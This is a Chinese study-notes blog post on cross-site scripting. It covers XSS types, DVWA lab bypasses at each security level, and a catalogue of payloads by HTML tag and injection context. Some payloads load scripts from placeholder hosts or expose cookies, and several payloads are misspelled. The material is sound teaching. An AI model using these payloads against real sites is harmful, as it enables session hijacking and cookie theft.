本文章仅作学习自用,若有不对欢迎批评斧正。
目录
目录
一、XSS简介
人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。因此,有人将跨站脚本攻击缩写为XSS。
跨站脚本攻击(XSS),是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。
攻击者可以使用户在浏览器中执行其预定义的恶意脚本,其导致的危害可想而知,如劫持用户会话,插入恶意内容、重定向用户、使用恶意软件劫持用户浏览器、繁殖XSS蠕虫,甚至破坏网站、修改路由器配置信息等。
XSS漏洞可以追溯到上世纪90年代。大量的网站曾遭受XSS漏洞攻击或被发现此类漏洞,如Twitter、Facebook、MySpace、Orkut、新浪微博和百度贴吧。研究表明,最近几年XSS已经超过缓冲区溢出成为最流行的攻击方式,有68%的网站可能遭受此类攻击。根据开放网页应用安全计划(Open Web Application Security Project)公布的2010年统计数据,在Web安全威胁前10位中,XSS排名第2,仅次于代码注入(Injection)。
二、XSS 跨站漏洞原理及分类
2.1 原理
XSS形成的原因与SQL注入类似,也是由于程序员在开发过程中没有对用户提交的恶意数据做过滤,转义而直接输出到页面,导致用户可以利用此漏洞执行JavaScript,HTML等代码,和SQL注入不同的是XSS不一定要和数据库交互。比如HTML是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号(<)被看作是HTML标签的开始,<title>与</title>之间的字符是页面的标题等等。当动态页面中插入的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了HTML标签,当这些HTML标签引入了一段JavaScript脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生XSS漏洞。
2.2 分类
从攻击代码的工作方式可以分为三个类型:
(1)非持久型跨站(反射):反射型跨站脚本漏洞,最普遍的类型。用户访问服务器-跨站链接-返回跨站代码。
这里使用dvwa作为演示:
选取xss,安全等级设置为"LOW"。点击view source查看源码,发现未做过滤,直接插入一句话代码 。<script>alert('XSS')</script>
下一安全等级的Medium以及High大同小异,这里简单说明一下。
Medium:这里对输入的字符串使用str_replace函数中进行一次过滤,区分大小写。这里可以通过将标签大写或字符串中再插入一个<script>标签绕过过滤。
High: 使用preg_replace函数对输入进行的过滤,且使用正则表达式匹配了所有的<script>字符串,该函数不区分大小写,因此我们无法再使用<script>标签,但是我们可以使用其他的标签。例如:<img src="" οnerrοr="alert('xss')">
(2)持久型跨站(存储 ):最直接的危害类型,跨站代码存储在服务器(数据库)。非持久型跨站(反射):反射型跨站脚本漏洞,最普遍的类型。用户访问服务器-跨站链接-返回跨站代码。
演示:选择安全等级为Low并查看代码,发现代码未对输入进行过滤。Medium以及High实现方法与上面相同。
(3)DOM跨站(DOM XSS):DOM(document object model文档对象模型),客户端脚本处理逻辑导致的安全问题。
基于DOM的XSS漏洞是指受害者端的网页脚本在修改本地页面DOM环境时未进行合理的处置,而使得攻击脚本被执行。在整个攻击过程中,服务器响应的页面并没有发生变化,引起客户端脚本执行结果差异的原因是对本地DOM的恶意篡改利用。
演示:设置安全等级为Low,查看源代码发现后台没有任何代码,然后点击页面中的select按钮,抓个包。
查看源代码发现JavaScript直接将传入的default参数的值赋值给option标签的属性和文本。所以替换url中default的值。payload: <script>alert('xss')</script>
Medium:设置了<script>过滤,可以使用payload前加“#”,从而使其不发送到服务器端,只发送到浏览器,同样也可以使用img标签代替script标签。
High:设置了白名单,使用payload前加“#”,从而使其不发送到服务器端。
三、利用xss能做什么
【XSS 常规攻击手法】
1、xss平台: https://xss8.cc/
2、工具:beef等
3、结合其他漏洞 CSRF跨站请求伪造
四、XSS的攻击载荷
<script>标签:<script>标签是最直接的XSS有效载荷,脚本标记可以引用外部的JavaScript代码,也可以将代码插入脚本标记中
-
<script src=http://xxx.com/xss.js></script> #引用外部的xss
-
<script> alert("hack")</script> #弹出hack
-
<script>alert(document.cookie)</script> #弹出cookie
<img>标签:
-
<img src=1 one rror=alert("hack")>
-
<img src=1 one rror=alert(/hack/)>
-
<img src=1 one rror=alert(document.cookie)> #弹出cookie
-
<img src=1 one rror=alert(123)> 注:对于数字,可以不用引号
-
<img src="javascript:alert("XSS");">
-
<img dynsrc="javascript:alert('XSS')">
-
<img lowsrc="javascript:alert('XSS')">
<body>标签:可以使用onload
属性或其他更加模糊的属性(如属性)在标记内部传递XSS有效内容background
-
<body onl oad=alert("XSS")>
-
<body background="javascript:alert("XSS")">
<iframe>标签:该<iframe>标签允许另一个HTML网页的嵌入到父页面。IFrame可以包含JavaScript,但是,请注意,由于浏览器的内容安全策略(CSP),iFrame中的JavaScript无法访问父页面的DOM。然而,IFrame仍然是非常有效的解除网络钓鱼攻击的手段。
<iframe src=”http://evil.com/xss.html”>
<input>标签:在某些浏览器中,如果标记的type
属性<input>
设置为image
,则可以对其进行操作以嵌入脚本
<input type="image" src="javascript:alert('XSS');">
<link>标签:<link>
标签,这是经常被用来连接外部的样式表可以包含的脚本
<link rel="stylesheet" href="javascript:alert('XSS');">
<table>标签:可以利用和标签的background
属性来引用脚本而不是图像
-
<table background="javascript:alert('XSS')">
-
<td background="javascript:alert('XSS')">
<div>标签:该<div>
标签,类似于<table>
和<td>
标签也可以指定一个背景,因此嵌入的脚本。
-
<div style="background-image: url(javascript:alert('XSS'))">
-
<div style="width: expression(alert('XSS'));">
<object>标签:该<object>
标签可用于从外部站点脚本包含
<object type="text/x-scriptlet" data="http://hacker.com/xss.html">
XSS可以插在哪里?
用户输入作为script标签内容
用户输入作为HTML注释内容
用户输入作为HTML标签的属性名
用户输入作为HTML标签的属性值
用户输入作为HTML标签的名字
直接插入到CSS里
最重要的是,千万不要引入任何不可信的第三方JavaScript到页面里!
-
#用户输入作为HTML注释内容,导致攻击者可以进行闭合绕过
-
<!-- 用户输入 -->
-
<!-- --><script>alert('hack')</script><!-- -->
-
#用户输入作为标签属性名,导致攻击者可以进行闭合绕过
-
<div 用户输入="xx"> </div>
-
<div ></div><script>alert('hack')</script><div a="xx"> </div>
-
#用户输入作为标签属性值,导致攻击者可以进行闭合绕过
-
<div id="用户输入"></div>
-
<div id=""></div><script>alert('hack')</script><div a="x"></div>
-
#用户输入作为标签名,导致攻击者可以进行闭合绕过
-
<用户输入 id="xx" />
-
<><script>alert('hack')</script><b id="xx" />
-
#用户输入作为CSS内容,导致攻击者可以进行闭合绕过
-
<style>用户输入<style>
-
<style> </style><script>alert('hack')</script><style> </style>
总结
这是我第一次写文章,文章中有一些借鉴的地方,若有不对请告知。